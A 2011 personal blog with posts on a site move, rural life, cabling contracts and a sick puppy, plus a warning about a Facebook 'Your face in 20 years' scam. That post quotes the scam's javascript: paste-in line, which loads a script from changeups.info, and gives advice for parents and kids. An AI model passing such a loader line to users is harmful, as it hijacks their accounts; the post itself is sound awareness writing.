Thursday, June 09, 2011

Transitioning the blog

If you've been a follower here on Jordan Life (formerly Scooby Central) you'll notice there's been less and less posting lately. That's because I've kind of become re-invigorated to work on my old website, carolinaregion.com. There's no much new code out there that I can finally do more on my own host than I can here on Google's hosted blogs.

Im not deleting this blog and will probably go back to co-publishing in both locations, but the old way I used to co-publish doesn't work as well with the new blog structures, so for now I'm mainly posting on Carolina Region.

Come visit me at http://carolinaregion.com

Friday, May 06, 2011

Getting my Groove Back…

Yes it’s been awhile since I’ve done serious blogging, and after the week I’ve had I’m trying to get my groove back and find a rhythm that works well for me personally and for the business. My classic mistake is over-exerting myself mentally then burning out on a concept; reason #247 while I may never be an accomplished author.

 

My life underwent a massive change when I moved out here to marry Amy and for a long time I looked at it, thought about it, and planned to ramp it back up, get back into selling computer services to everyone I could find, expanding my company portfolio with tons of new clientele, and making money hand over fist to support my family and all the dreams I always had.

As the lingering effect of green grass, pine trees, and warm soft clay worked its way into my psyche I found myself not really wanting to get back to that quite as much as I had thought I did. Rather than running my hands over a keyboard all day and wincing when I shoved a splinter into my finger in the woodshop like I did so many times in the beginning I now find myself running my hands over the textured surface of pine acacia, and oak, deftly feeling for the right use for that particular piece of wood more than I do at the keyboard, my hands hardened and immune to the small sneaky splinters. Callouses wrap my fingers and joints and the strength in my hands from turning over hardened clay earth to plant seeds and working even harder wood into comfortable furniture  has made my grip crushing where it was once dexterous. My dexterity is visibly less, but I wouldn’t go back to the other way I don’t think.  I don’t think it’s possible to have both really. You’re either one or the other and I’m finding I’m happier out here like this.

The company has slowed down measurably. With Tim on the east and me on the west we’ve both drifted off in little ways to our own things. We’re still working together on projects but not really on the day-to-day stuff we used to deal with. Computers are more a side-line to the project work we’re doing than they are a main source of income. The real work now is sweaty and exhausting and fulfilling. I’ve been wiring up Best Buy stores on contract from their corporate office and earn more in a week than I used to in a month, so it’s ok when I have a month of no work ahead. Now I have plenty of time to plant the rose garden before my next project is due to start. After that one is done I’ll use the down-time to build some more furniture to sell at the market on the weekends. Every Friday is now a reminder to cut the grass rather than to spend 4 hours doing payroll.

carolinaregionThis isn’t to say I’m no longer doing computer work. Quite the contrary actually; having the time between jobs to do research into my markets gives me more time to learn and improve my skills, to focus on more finite aspects of IT rather than broad-spectrum wholesale coverage of the entire market. I’d rather get paid more for the things I do VERY well than I would hassle and negotiate rates for stuff that anyone can do with a little college education. Anyone can fix a PC, really, with a little intelligence. Building structured networks that exceed TIA/EIA standards is another matter altogether and doing it better than the next guy is just icing on the cake. After 5 years of sub-contracting for one of our vendors I finally landed a wiring project that includes structured cable infrastructure for the FBI. You really can’t beat that can you? I can talk about all the Blockbusters and Best Buy’s I’ve installed all day long (and those are good clients) but that’s nothing compared to saying I just wired up the new FBI field office. What’s your competition going to say to that? Nothing. They just walk away and shake their head. You don’t get those kinds of contracts without extreme attention to detail and serving out your time doing scut-work to earn it. Finally… maybe… I’m past the scut-work stage… (And if you’re in my market and thinking that maybe we bid the job, nope. I didn’t compete with anyone on the bid. They came to me and said “You come highly recommended. Can you wire our new law enforcement center?” Sure thing. Yessir. Be glad to!

Now that I spent most of a month getting that contract, I’ve been extremely bored this week, so I’m revamping the company website, my own blog, my other website.. you feel a theme developing here? I’ve completely redesigned carolinaregion.com, and I’m working on a new layout for twistednetworx.com that will focus more on three or four core areas of IT rather than trying to land every client that comes to our site. I’m back into web design again, strictly as a solo-practice and very selective about the clients I take on. I’m only taking one web site at a time now and only then if I feel I have the time to give it that it deserves. Otherwise, they can just wait for me to get some free time or they can find another developer who needs the work. I put more time into my code now, but there’s no other projects vying for my time so its easier to be more in-depth with the client that way. I should have done that years ago instead of just walking away from web design for about 5 years. The newer technologies are making it easy enough that my 63 year old mother now admins for two different web sites as an editor and author.

I’ve gotten back into WordPress authoring hard core, though still coding with Joomla when it makes more sense to do so. I’ve even had the time to work with a friend of mine on coding my own custom flavor of Sugar CRM as a product I can sell in his vertical market… all things I never would have had the time to learn or improve upon when I had six employees, 400 customers, and no free time because the phone never stopped ringing.

 

herb garden

Between work and more work I’m playing in my shop and yard a lot lately. I’ve finally purchased my first riding mower ever in my life so I’m still in that “enjoying it” phase of cutting the grass each week, so much to the point that my mower gets washed and waxed more than my truck does! I’ve been gardening like crazy as well.  A neighbor offered me part of his hay-field for a garden this year and I took him up on the idea with fervor. After two weekends and about a hundred hours I now have over 500 plants in the ground and I’m growing everything in sight. I even had the time to work on a raised herb-garden for Amy (that’s the one in the picture). I finally put in the rose garden I’ve always wanted, and probably went a little overboard, but my wife likes roses and I like giving them to her… so now she has roses growing from the moment she steps out of the truck, all the way around the back of the house, and right up to the back steps! Yeah, ok, maybe I do overdo it a little, but I enjoy it thus far so leave me be.

 

On the more serious side of life Amy has been working herself to the bone. There’s nothing she can do about it; its just the way the job goes, but it’s wearing on her. She needs a break, but we need the business to stay busy because we need the income, so it’s a catch-22. I look very much forward to when some of my projects close out this year so she can financially relax a little and maybe even take a day off if she feels like it!

 

piper sickSome of you also have heard about little Piper, our Catahoula puppy. She’s been sick for a few days now. Amy spend the night sleeping on the couch last night with Piper on the floor in front of her. I spent the night on the floor in front of the dog, completely unable to sleep because I was really afraid she was going to stop breathing and I didn’t want Amy to wake up to that alone… We carried her to the small-animal vet today (My thanks to Mt. Pleasant Animal Hospital for being kind on the bill!) and she’s doing better. She’s gonna be on an IV here at home for a few days and then on oral antibiotics until she’s completely better. We still don’t know 100% what was wrong with her. The hospital suspects Parvo even though the test came back negative. Apparently if you catch it early enough it doesn’t always show up. Personally I can’t imagine catching it any LATER than we did… in 24 hours she went from frolicking in the yard to not being able to move her muscles enough to drag herself off her pillow. I don’t think she’d have survived the day without the great folks who took care of her today. It would have broken my wife’s heart to lose that dog… this is the first pet we’ve had in the house that’s really “hers” in the truest sense of the word. I’ve got Bonnie and Jordan has Biscoe and Piper is completely in-love with momma-Amy.

And speaking of Piper and Amy, I’ve been on here way too long so I’m gonna go in the house and goof off with my family a little. Happy trails all. Comment if ya like. You know my narcissistic personality craves the attention of comments!

Peace!

Tuesday, May 03, 2011

Facebook Spam: Your Face in 20 Years

facebook_spamThis is just a heads-up to you other Facebook users out there. I logged into my Facebook account this afternoon to find out my daughter had been the victim of yet another of the daily Facebook viruses. This one seems to be mostly inane and harmless with the exception that it seems to spam everyone  you know via both wall posts and messages. If it has more damaging effects I’ve yet to uncover them.

So I thought I’d take a moment and write about how to tell if a message or wall post you receive seems to be spam.

 

 

 

Message Spam

Here’s the message I got from my daughter today on my Facebook:

 

spam message

On the surface it looks innocent enough. I especially like the “whoops sorry meant to send that to someone else” comment they used to make you think it was a real message intended for another person. I only picked up on it because that’s not the traditional diction my daughter uses when she chats. She’d have said something more like “Did u c this yet? It’s pretty funn. C wat u luk like 20 yrs older” Hey.. imagine that.. +1 point for spammers being too stupid to keep up on the lingo! At least I’m not the only one not in-tune with today’s kids!

 

Rather than click on the message I clicked on her wall instead. This is what I saw: ( It’s slightly shrunk down to make it fit on this page, but you get the point.) Even my child, as internet-addicted as she is, wouldn’t spend the hour it takes to manually post the exact same message to 90 of her friend’s walls on Facebook.

spam list

 

If you click on any of the links you see the person’s wall and this is the post it makes:

spam app

Ok.. this too seems innocent enough.. almost, but I was still slightly bugged by the whole repeated posting thing. As I looked on her friend’s walls I could see where she had most likely been infected from one of their messages because over half her friends were infected with the same posting and they appeared before hers did by minutes to hours, depending on the person.

Knowing I’ve got enough sense NOT to get infected I figured I was safe trying to figure out what all this link does. When you clink on the link it takes you to an official Facebook App page, located at:

http://www.facebook.com/pages/Your-face-in-20-years/121085477971294

(I’ve already reported the app to Facebook as a scam and hopefully it will get removed soon enough.)

This is what the app page looks like.

WARNING: Though the app page itself causes no harm, do NOT follow it’s instructions or you WILL get infected.
To save you the curiosity I took a screen capture of the app page. This is what you would see there:

spam page

Right off the bat you can tell something is wrong here. Don’t EVER EVER EVER copy and paste code from an app into your browser window. No legitimate application on facebook would use that as a way to access itself.

Basically this app tells you to copy that code and paste it into your browser window and then press enter.

If you look closely at the code, to any normal naïve user it looks harmless. The address is (DO NOT CLICK THIS LINK BELOW)

javascript:(a=(b=document).createElement('script')).src='//changeups.info/age/u.php?'+Math.random(),b.body.appendChild(a);void(0)

Basically that’s a command to open the Javascript engine on your computer, and navigate to a site called changeups.info, which with a little digging I found is located and hosted in Switzerland. I’m not exactly sure what the script does, because I don’t want to risk getting infected either, but this is a good example of a spam attack that bypasses your antivirus application. By entering that into your browser you’re basically telling the computer I WANT to go here and execute this script, no matter what the script is.

Most likely the script copies cookies from your browser’s memory to get at your facebook password (which you stored moments earlier when you were on the facebook site). Now it has your logon, your password, and 100% access to post on Facebook as you.

In less than an hour tonight, there were hundreds of my daughter’s contacts and friends infected and that was without me having to take the time to actually look in-depth to find out more about the scam.

 

In short, unless you KNOW it’s a trusted application, always send a message or email to the person who sent you this kind of link to verify they meant to do so. I simply called my daughter tonight and asked her “Did you intentionally waste an hour today posting links to hundreds of peope on facebook?” She said “Uhh.. no. Why?” Well there ya go.. she got hacked. Knowing my daughter uses her facebook password as her email password, now some hacker in Switzerland has access to all my daughter’s personal information.  Assuming the worst case scenario I took a look at my daughter’s email account with only the information the hacker would have if they were me and found out all I could in 60 seconds or less. If this were actually used to get at my kid, I would now know the following:

  • Her full name
  • Age
  • Email address and password
  • All her facebook friends.
  • Father and Mother’s names and facebook accounts and email addresses.
  • The name, age, and info of every relative she has on facebook.
  • Her church and what time her youth group meets, and where they meet this week. (so I’d know how to stalk her)
  • That she’s in the high school band, and her band director’s name.
  • What events her band is doing, when, and where. (so I’d know how to stalk her)
  • How to communicate with her on Skype, google talk, facebook, and every other chat program she uses.

I found out all this in under one minute with only the knowledge gained from her Facebook login and password.

So, what’s the lesson parents and kids?

  • Be careful what you click on on social networking sites.
  • Don’t EVER use an app that requires you to copy and paste code at all.
  • Don’t respond or click on messages or wall posts that you REALLY don’t know are safe.
  • Don’t ever have your Facebook and email passwords the same. EVER EVER EVER EVER EVER! (I know I stutter, but I mean that.. EVER!)
  • Don’t assume that because you got it from a trusted source that it’s OK.

I hope the rest of you out there in the web-o-sphere have a great night and that maybe this prevents you from falling victim to the same thing.